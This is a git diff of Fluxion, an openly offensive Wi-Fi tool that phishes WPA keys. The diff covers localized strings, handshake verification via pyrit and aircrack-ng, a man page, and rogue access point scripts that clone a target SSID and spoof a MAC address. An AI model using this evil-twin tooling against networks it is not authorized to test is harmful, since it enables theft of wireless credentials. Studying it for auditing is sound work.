FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommandé$CClr)"
|
||||
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Connexion plus lente$CClr)"
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake"
|
||||
FLUXIONHashSourcePathOption="Chemin du fichier capturé"
|
||||
|
|
|
@ -53,6 +53,7 @@ FLUXIONUseFoundHashQuery="Vuoi usare questo file?"
|
|||
FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash"
|
||||
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}raccomandato$CClr)"
|
||||
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)"
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONAttackQuery="Seleziona la tua scelta"
|
||||
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attacco in corso..."
|
||||
|
|
|
@ -31,6 +31,7 @@ FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
|||
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
||||
FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)"
|
||||
FLUXIONAbsolutePathInfo="Absolute path"
|
||||
FluxionRestartOption="Restart"s
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania"
|
||||
FLUXIONScannerChannelOptionAll="Wszystkie kanały"
|
||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
|||
FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..."
|
||||
FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)"
|
||||
FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..."
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!"
|
||||
FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!"
|
||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
|||
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
||||
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
||||
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Päť sekúnd po objavení sa cieľového AP, zavrite
|
|||
FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..."
|
||||
FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)"
|
||||
FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..."
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!"
|
||||
FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!"
|
||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
|||
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
||||
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
||||
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
|||
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
||||
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
||||
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
|||
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
|
||||
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
|
||||
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONHashFileDoesNotExistError="Hash文件不存在!"
|
||||
FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!"
|
||||
|
|
|
@ -6,46 +6,49 @@ readonly HashUtilsVersion="1.0"
|
|||
HashOutputDevice="/dev/stdout"
|
||||
|
||||
function hash_check_handshake() {
|
||||
local handshakeVerifier=$1
|
||||
local handshakePath=$2
|
||||
local handshakeAPSSID=$3
|
||||
local handshakeAPMAC=$4
|
||||
local -r handshakeVerifier=$1
|
||||
local -r handshakePath=$2
|
||||
local -r handshakeAPSSID=$3
|
||||
local -r handshakeAPMAC=$4
|
||||
|
||||
local analysis
|
||||
local hashData
|
||||
echo "Verifier Parameters: " > $HashOutputDevice
|
||||
echo " Verifier: $handshakeVerifier" > $HashOutputDevice
|
||||
echo "Hash Path: $handshakePath" > $HashOutputDevice
|
||||
echo "Hash SSID: \"$handshakeAPSSID\"" > $HashOutputDevice
|
||||
echo " Hash MAC: $handshakeAPMAC" > $HashOutputDevice
|
||||
|
||||
echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" >$HashOutputDevice
|
||||
local analysis # Since it's being used in all relevant instances.
|
||||
|
||||
case "$handshakeVerifier" in
|
||||
"pyrit")
|
||||
readarray analysis < <(pyrit -r "$handshakePath" analyze 2>$HashOutputDevice)
|
||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||
echo "Error: pyrit seems to be broken!" >$HashOutputDevice
|
||||
"pyrit")
|
||||
readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice)
|
||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||
echo "Error: pyrit seems to be broken!" > $HashOutputDevice
|
||||
return 1
|
||||
fi
|
||||
|
||||
local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')")
|
||||
|
||||
if [ "$hashMeta" ]; then
|
||||
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
|
||||
local hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_(SHA[0-9]+_AES|MD5_RC4)/{ print \$0 }")
|
||||
else
|
||||
echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice
|
||||
fi
|
||||
;;
|
||||
"aircrack-ng")
|
||||
readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice)
|
||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||
echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice
|
||||
return 1
|
||||
fi
|
||||
|
||||
local hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
|
||||
;;
|
||||
*)
|
||||
echo "Invalid verifier, quitting!" > $HashOutputDevice
|
||||
return 1
|
||||
fi
|
||||
|
||||
local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')")
|
||||
|
||||
if [ "$hashMeta" ]; then
|
||||
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
|
||||
hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }")
|
||||
else
|
||||
echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice
|
||||
fi
|
||||
;;
|
||||
"aircrack-ng")
|
||||
readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice)
|
||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||
echo "Error: aircrack-ng seems to be broken!" >$HashOutputDevice
|
||||
return 1
|
||||
fi
|
||||
|
||||
hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
|
||||
;;
|
||||
*)
|
||||
echo "Invalid verifier, quitting!"
|
||||
return 1
|
||||
;;
|
||||
;;
|
||||
esac
|
||||
|
||||
if [ -z "$hashData" ]; then
|
||||
|
@ -53,18 +56,24 @@ function hash_check_handshake() {
|
|||
return 1
|
||||
fi
|
||||
|
||||
local hashResult
|
||||
case "$handshakeVerifier" in
|
||||
"pyrit") hashResult=$(echo "$hashData" | grep "good") ;;
|
||||
"aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)") ;;
|
||||
"pyrit")
|
||||
if echo "$hashData" | grep -qF "good"; then
|
||||
local -r hashResult=1
|
||||
fi ;;
|
||||
|
||||
"aircrack-ng")
|
||||
if echo "$hashData" | grep -qE "\([0-9]+ handshake\)"; then
|
||||
local -r hashResult=1
|
||||
fi ;;
|
||||
esac
|
||||
|
||||
if [ -z "$hashResult" ]; then
|
||||
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!"
|
||||
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
|
||||
HASHCheckHandshake="invalid"
|
||||
return 1
|
||||
else
|
||||
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!"
|
||||
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
|
||||
HASHCheckHandshake="valid"
|
||||
fi
|
||||
}
|
||||
|
|
|
@ -0,0 +1,96 @@
|
|||
#!/bin/bash
|
||||
|
||||
function fluxion_help{
|
||||
echo " FLUXION(1) User Manuals FLUXION(1)
|
||||
|
||||
|
||||
|
||||
NAME
|
||||
fluxion - Fluxion is a security auditing and social-engineering
|
||||
research tool
|
||||
|
||||
SYNOPSIS
|
||||
fluxion [-debug] [-l language ] attack ...
|
||||
|
||||
DESCRIPTION
|
||||
fluxion is a security auditing and social-engineering research tool.
|
||||
It is a remake of linset by vk496 with (hopefully) less bugs and more
|
||||
functionality. The script attempts to retrieve the WPA/WPA2 key from a
|
||||
target access point by means of a social engineering (phising) attack.
|
||||
It's compatible with the latest release of Kali (rolling). Fluxion's
|
||||
attacks' setup is mostly manual, but experimental auto-mode handles
|
||||
some of the attacks' setup parameters.
|
||||
|
||||
OPTIONS
|
||||
-v Print version number.
|
||||
|
||||
--help Print help page and exit with 0.
|
||||
|
||||
-m Run fluxion in manual mode instead of auto mode.
|
||||
|
||||
-k Kill wireless connection if it is connected.
|
||||
|
||||
-d Run fluxion in debug mode.
|
||||
|
||||
-x Try to run fluxion with xterm terminals instead of tmux.
|
||||
|
||||
-r Reload driver.
|
||||
|
||||
-l <language>
|
||||
Define a certain language.
|
||||
|
||||
-e <essid>
|
||||
Select the target network based on the ESSID.
|
||||
|
||||
-c <channel>
|
||||
Indicate the channel(s) to listen to.
|
||||
|
||||
-a <attack>
|
||||
Define a certain attack.
|
||||
|
||||
--ratio <ratio>
|
||||
Define the windows size. Bigger ratio -> smaller window size.
|
||||
Default is 4.
|
||||
|
||||
-b <bssid>
|
||||
Select the target network based on the access point MAC address.
|
||||
|
||||
-j <jamming interface>
|
||||
Define a certain jamming interface.
|
||||
|
||||
-a <access point interface>
|
||||
Define a certain access point interface.
|
||||
|
||||
FILES
|
||||
/tmp/fluxspace/
|
||||
The system wide tmp directory.
|
||||
$FLUXION/attacks/
|
||||
Folder where handshakes and passwords are stored in.
|
||||
|
||||
ENVIRONMENT
|
||||
FLUXIONAuto
|
||||
Automatically run fluxion in auto mode if exported.
|
||||
|
||||
FLUXIONDebug
|
||||
Automatically run fluxion in debug mode if exported.
|
||||
|
||||
FLUXIONWIKillProcesses
|
||||
Automatically kill any interfering process(es).
|
||||
|
||||
DIAGNOSTICS
|
||||
Please checkout the other log files or use the debug mode.
|
||||
|
||||
BUGS
|
||||
Please report any bugs at: https://github.com/FluxionNetwork/flux-
|
||||
ion/issues
|
||||
|
||||
AUTHOR
|
||||
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||
|
||||
SEE ALSO
|
||||
aircrack-ng(8),
|
||||
|
||||
|
||||
Linux MARCH 2018 FLUXION(1)"
|
||||
|
||||
}
|
|
@ -11,22 +11,20 @@ if [ -d /sys/bus/usb ] # && hash lsusb;
|
|||
then InterfaceUSBBus=1
|
||||
fi
|
||||
|
||||
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci;
|
||||
if [ -d /sys/bus/pci -o -d /sys/bus/pci_express -o -d /proc/bus/pci ] # && hash lspci;
|
||||
then InterfacePCIBus=1
|
||||
fi
|
||||
|
||||
# Checks if the interface belongs to a physical device.
|
||||
function interface_is_real() {
|
||||
if [ -d /sys/class/net/$1/device ]; then return 0
|
||||
else return 1
|
||||
fi
|
||||
test -d /sys/class/net/$1/device
|
||||
return $?
|
||||
}
|
||||
|
||||
# Checks if the interface belongs to a wireless device.
|
||||
function interface_is_wireless() {
|
||||
if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent; then return 0
|
||||
else return 1
|
||||
fi
|
||||
grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent
|
||||
return $?
|
||||
}
|
||||
|
||||
# Returns an array of absolutely all interfaces.
|
||||
|
@ -146,64 +144,39 @@ function interface_state() {
|
|||
|
||||
function interface_set_state() {
|
||||
if [ "${#@}" -ne 2 ]; then return 1; fi
|
||||
# TODO: Add alternatives to 'ip' in case of failure.
|
||||
ip link set "$1" "$2"
|
||||
return $?
|
||||
}
|
||||
|
||||
function interface_set_mode() {
|
||||
if [ "${#@}" -ne 2 ]; then return 1; fi
|
||||
if ! interface_set_state "$1" "down"; then return 2; fi
|
||||
if ! iwconfig "$1" mode "$2" &>$InterfaceUtilsOutputDevice; then return 3; fi
|
||||
if ! iw dev "$1" set type "$2" &> $InterfaceUtilsOutputDevice; then
|
||||
if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice
|
||||
then return 3
|
||||
fi
|
||||
fi
|
||||
if ! interface_set_state "$1" "up"; then return 4; fi
|
||||
}
|
||||
|
||||
function interface_prompt() {
|
||||
if [ -z "$1" -o -z "$2" ]; then return 1; fi
|
||||
|
||||
local __interface_prompt__ifAvailable=("${!2}")
|
||||
local __interface_prompt__ifAvailableInfo=()
|
||||
local __interface_prompt__ifAvailableColor=()
|
||||
local __interface_prompt__ifAvailableState=()
|
||||
|
||||
local __interface_prompt__ifCandidate
|
||||
for __interface_prompt__ifCandidate in "${__interface_prompt__ifAvailable[@]}"; do
|
||||
interface_chipset "$__interface_prompt__ifCandidate"
|
||||
__interface_prompt__ifAvailableInfo+=("$InterfaceChipset")
|
||||
|
||||
interface_state "$__interface_prompt__ifCandidate"
|
||||
|
||||
if [ "$InterfaceState" = "up" ]; then
|
||||
__interface_prompt__ifAvailableColor+=("$CPrp")
|
||||
__interface_prompt__ifAvailableState+=("[-]")
|
||||
else
|
||||
__interface_prompt__ifAvailableColor+=("$CClr")
|
||||
__interface_prompt__ifAvailableState+=("[+]")
|
||||
fi
|
||||
done
|
||||
|
||||
# The following conditional is required since io_query_format_fields
|
||||
# only considers the the size of the first parameter, available color.
|
||||
if [ "$6" ]; then # Add alternative choices
|
||||
__interface_prompt__ifAvailable+=("${!3}")
|
||||
__interface_prompt__ifAvailableInfo+=("${!4}")
|
||||
__interface_prompt__ifAvailableState+=("${!5}")
|
||||
__interface_prompt__ifAvailableColor+=("${!6}")
|
||||
function interface_reidentify() {
|
||||
if [ ${#@} -ne 2 ]; then return 1; fi
|
||||
|
||||
local -r __interface_reidentify__oldIdentifier=$1
|
||||
local -r __interface_reidentify__newIdentifier=$2
|
||||
|
||||
if [[ $__interface_reidentify__newIdentifier == *" "* ]]
|
||||
then return 2
|
||||
fi
|
||||
|
||||
# If only one interface exists and it's available, choose it.
|
||||
if [ "${#__interface_prompt__ifAvailable[@]}" -eq 1 -a "${__interface_prompt__ifAvailableState[0]}" = "[+]" ]; then
|
||||
InterfacePromptWISelected="${__interface_prompt__ifAvailable[0]}"
|
||||
InterfacePromptWISelectedState="[+]" # It passed the condition, it must be +
|
||||
InterfacePromptWISelectedInfo="${__interface_prompt__ifAvailableInfo[0]}"
|
||||
else
|
||||
format_apply_autosize "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n"
|
||||
io_query_format_fields "$1" "$FormatApplyAutosize" \
|
||||
__interface_prompt__ifAvailableColor[@] __interface_prompt__ifAvailable[@] \
|
||||
__interface_prompt__ifAvailableState[@] __interface_prompt__ifAvailableInfo[@]
|
||||
|
||||
echo
|
||||
|
||||
InterfacePromptIfSelected="${IOQueryFormatFields[1]}"
|
||||
InterfacePromptIfSelectedState="${IOQueryFormatFields[2]}"
|
||||
InterfacePromptWISelectedInfo="${IOQueryFormatFields[3]}"
|
||||
|
||||
if ! interface_set_state $__interface_reidentify__oldIdentifier down
|
||||
then return 3
|
||||
fi
|
||||
|
||||
# TODO: Add alternatives to 'ip' in case of failure.
|
||||
ip link set $__interface_reidentify__oldIdentifier name $__interface_reidentify__newIdentifier
|
||||
return $?
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
|
@ -3,55 +3,87 @@
|
|||
# ================================================================
|
||||
# Configuration Section
|
||||
# ================================================================
|
||||
VIGW="at0"
|
||||
VIAP=$WIAccessPoint
|
||||
|
||||
# airbase-ng uses a monitor-mode virtual interface
|
||||
# and creates a separate interface, atX, for dhcpd.
|
||||
VIAPAddress="$VIGWNetwork.2"
|
||||
|
||||
# APServiceConfigDirectory=$FLUXIONWorkspacePath
|
||||
#APServiceConfigDirectory=$FLUXIONWorkspacePath
|
||||
# ================================================================
|
||||
|
||||
#if [ "$APServiceVersion" ]; then return 0; fi
|
||||
#readonly APServiceVersion="1.0"
|
||||
|
||||
function ap_stop() {
|
||||
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
|
||||
function ap_service_stop() {
|
||||
if [ "$APServicePID" ]; then
|
||||
kill $APServicePID &> $FLUXIONOutputDevice
|
||||
fi
|
||||
|
||||
APServicePID=""
|
||||
}
|
||||
|
||||
function ap_reset() {
|
||||
ap_stop
|
||||
function ap_service_reset() {
|
||||
ap_service_stop
|
||||
|
||||
APServiceAccessInterface=""
|
||||
|
||||
APServiceChannel=""
|
||||
APServiceMAC=""
|
||||
APServiceSSID=""
|
||||
APServiceInterfaceAddress=""
|
||||
APServiceInterface=""
|
||||
}
|
||||
|
||||
function ap_route() {
|
||||
ifconfig $VIAP $VIAPAddress netmask 255.255.255.0
|
||||
sysctl net.ipv6.conf.at0.disable_ipv6=1 &>$FLUXIONOutputDevice
|
||||
function ap_service_route() {
|
||||
local networkSubnet=${APServiceInterfaceAddress%.*}
|
||||
local networkAddress=$(( ( ${APServiceInterfaceAddress##*.} + 1 ) % 255 ))
|
||||
|
||||
if [ $hostID -eq 0 ]; then
|
||||
let hostID++
|
||||
fi
|
||||
|
||||
# TODO: Dynamically get the airbase-ng tap interface & use below.
|
||||
# WARNING: Notice the interface below is STATIC, it'll break eventually!
|
||||
if ! ifconfig "at0" $networkSubnet.$networkAddress \
|
||||
netmask 255.255.255.0; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
if ! sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice; then
|
||||
return 2
|
||||
fi
|
||||
}
|
||||
|
||||
function ap_prep() {
|
||||
ap_stop
|
||||
function ap_service_prep() {
|
||||
if [ ${#@} -lt 5 ]; then return 1; fi
|
||||
|
||||
APServiceInterface=$1
|
||||
APServiceInterfaceAddress=$2
|
||||
APServiceSSID=$3
|
||||
APServiceMAC=$4
|
||||
APServiceChannel=$5
|
||||
|
||||
ap_service_stop
|
||||
|
||||
# Spoof virtual interface MAC address.
|
||||
# This is done by airbase-ng automatically.
|
||||
|
||||
# airbase-ng uses a monitor-mode virtual interface
|
||||
# and creates a separate interface, atX, for dhcpd.
|
||||
APServiceAccessInterface="at0"
|
||||
}
|
||||
|
||||
function ap_start() {
|
||||
ap_stop
|
||||
function ap_service_start() {
|
||||
ap_service_stop
|
||||
|
||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP &
|
||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
|
||||
-title "FLUXION AP Service [airbase-ng]" -e \
|
||||
airbase-ng -P -e $APServiceSSID -c $APServiceChannel \
|
||||
-a $APServiceMAC $APServiceInterface &
|
||||
local parentPID=$!
|
||||
|
||||
# Wait till airebase-ng has started and created the extra virtual interface.
|
||||
# Wait till airebase-ng starts and creates the extra virtual interface.
|
||||
while [ ! "$APServicePID" ]; do
|
||||
sleep 1
|
||||
APServicePID=$(pgrep -P $parentPID)
|
||||
done
|
||||
|
||||
ap_route
|
||||
ap_service_route
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
|
@ -3,69 +3,87 @@
|
|||
# ================================================================
|
||||
# Configuration Section
|
||||
# ================================================================
|
||||
VIGW=$WIAccessPoint
|
||||
VIAP=$WIAccessPoint
|
||||
|
||||
# HostAPD sets the virtual interface mode
|
||||
# to master, which is supported by dhcpd.
|
||||
VIAPAddress=$VIGWAddress
|
||||
|
||||
APServiceConfigDirectory=$FLUXIONWorkspacePath
|
||||
# ================================================================
|
||||
|
||||
#if [ "$APServiceVersion" ]; then return 0; fi
|
||||
#readonly APServiceVersion="1.0"
|
||||
|
||||
function ap_stop() {
|
||||
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
|
||||
function ap_service_stop() {
|
||||
if [ "$APServicePID" ]; then
|
||||
kill $APServicePID &> $FLUXIONOutputDevice
|
||||
fi
|
||||
|
||||
APServicePID=""
|
||||
}
|
||||
|
||||
function ap_reset() {
|
||||
ap_stop
|
||||
function ap_service_reset() {
|
||||
ap_service_stop
|
||||
|
||||
# Reset MAC address to original.
|
||||
ifconfig $VIAP down
|
||||
ifconfig $APServiceInterface down
|
||||
sleep 0.5
|
||||
|
||||
macchanger -p $VIAP &>$FLUXIONOutputDevice
|
||||
macchanger -p $APServiceInterface &> $FLUXIONOutputDevice
|
||||
sleep 0.5
|
||||
|
||||
ifconfig $VIAP up
|
||||
ifconfig $APServiceInterface up
|
||||
sleep 0.5
|
||||
|
||||
APServiceAccessInterface=""
|
||||
|
||||
APServiceChannel=""
|
||||
APServiceMAC=""
|
||||
APServiceSSID=""
|
||||
APServiceInterfaceAddress=""
|
||||
APServiceInterface=""
|
||||
|
||||
}
|
||||
|
||||
function ap_route() {
|
||||
echo "APService: No custom routes for hostapd" >$FLUXIONOutputDevice
|
||||
function ap_service_route() {
|
||||
echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice
|
||||
}
|
||||
|
||||
function ap_prep() {
|
||||
ap_stop
|
||||
function ap_service_prep() {
|
||||
if [ ${#@} -lt 5 ]; then return 1; fi
|
||||
|
||||
APServiceInterface=$1
|
||||
APServiceInterfaceAddress=$2
|
||||
APServiceSSID=$3
|
||||
APServiceMAC=$4
|
||||
APServiceChannel=$5
|
||||
|
||||
ap_service_stop
|
||||
|
||||
# Prepare the hostapd config file.
|
||||
echo "\
|
||||
interface=$VIAP
|
||||
interface=$APServiceInterface
|
||||
driver=nl80211
|
||||
ssid=$APTargetSSID
|
||||
channel=$APTargetChannel" >"$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
|
||||
ssid=$APServiceSSID
|
||||
channel=$APServiceChannel" \
|
||||
> "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf"
|
||||
|
||||
# Spoof virtual interface MAC address.
|
||||
ifconfig $VIAP down
|
||||
ifconfig $APServiceInterface down
|
||||
sleep 0.5
|
||||
|
||||
macchanger --mac=$APRogueMAC $VIAP &>$FLUXIONOutputDevice
|
||||
macchanger --mac=$APServiceMAC $APServiceInterface &> $FLUXIONOutputDevice
|
||||
sleep 0.5
|
||||
|
||||
ifconfig $VIAP up
|
||||
ifconfig $APServiceInterface up
|
||||
sleep 0.5
|
||||
|
||||
# HostAPD sets the virtual interface mode
|
||||
# to master, which is supported by dhcpd.
|
||||
APServiceAccessInterface=$APServiceInterface
|
||||
}
|
||||
|
||||
function ap_start() {
|
||||
ap_stop
|
||||
function ap_service_start() {
|
||||
ap_service_stop
|
||||
|
||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" &
|
||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
|
||||
-title "FLUXION AP Service [hostapd]" -e \
|
||||
hostapd "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" &
|
||||
local parentPID=$!
|
||||
|
||||
# Wait till hostapd has started and its virtual interface is ready.
|
||||
|
@ -74,7 +92,7 @@ function ap_start() {
|
|||
APServicePID=$(pgrep -P $parentPID)
|
||||
done
|
||||
|
||||
ap_route
|
||||
ap_service_route
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
|
@ -0,0 +1,19 @@
|
|||
## Arguments table
|
||||
|
||||
| Arguments | Describtion |
|
||||
| ------------- | ------------- |
|
||||
| -a | Give a Attack |
|
||||
| -e | Give a certain essid |
|
||||
| -b | Give a certain bssid |
|
||||
| -- | Maker is required |
|
||||
| -a | Access point interface |
|
||||
| -j | Jamming interface |
|
||||
| -x | Use xterm instead of tmux |
|
||||
| -v | Print version number |
|
||||
| -d | Run fluxion in debug mode |
|
||||
| -k | Kill wireless connection if it is connected |
|
||||
| -m | Run fluxion in manual mode instead of auto |
|
||||
| -l | Language |
|
||||
|
||||
## Samples
|
||||
`./fluxion -a [ATTACK] -e [ESSID] -b [BSSID] -c [CHANNEL] -- -a [AP INTERFACE] -j [JAMMING INTERFACE]`
|
|
@ -1,4 +1,6 @@
|
|||
#!/ bin / bash
|
||||
|
||||
export FLUXIONDebug = 1 export FLUXIONWIKillProcesses =
|
||||
1 export FLUXIONWIReloadDriver = 1
|
||||
# These are the debug flags used by the script
|
||||
export FLUXIONDebug=1
|
||||
export FLUXIONWIKillProcesses=1
|
||||
export FLUXIONWIReloadDriver=1
|
||||
|
|
|
@ -1,66 +1,89 @@
|
|||
#!/bin/bash
|
||||
|
||||
if [ -d "lib" ]; then source lib/InterfaceUtils.sh
|
||||
elif [ -d "../lib" ]; then source ../lib/InterfaceUtils.sh
|
||||
clear
|
||||
declare -r HEADER_SIZE="####"
|
||||
|
||||
# Diagnostic script
|
||||
|
||||
if [ -d "lib" ];then
|
||||
source lib/InterfaceUtils.sh
|
||||
elif [ -d "../lib" ];then
|
||||
source ../lib/InterfaceUtils.sh
|
||||
else
|
||||
echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"
|
||||
echo -e "\033[31mError lib folder not found\033[0m"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! "$1" ]; then
|
||||
echo "Usage ./scripts/diagnostics <wireless_interface>"
|
||||
echo "Usage ./scripts/diagnostics [wireless_interface]"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[ FLUXION Info ]"
|
||||
if [ -f "./fluxion.sh" ]
|
||||
then declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh))
|
||||
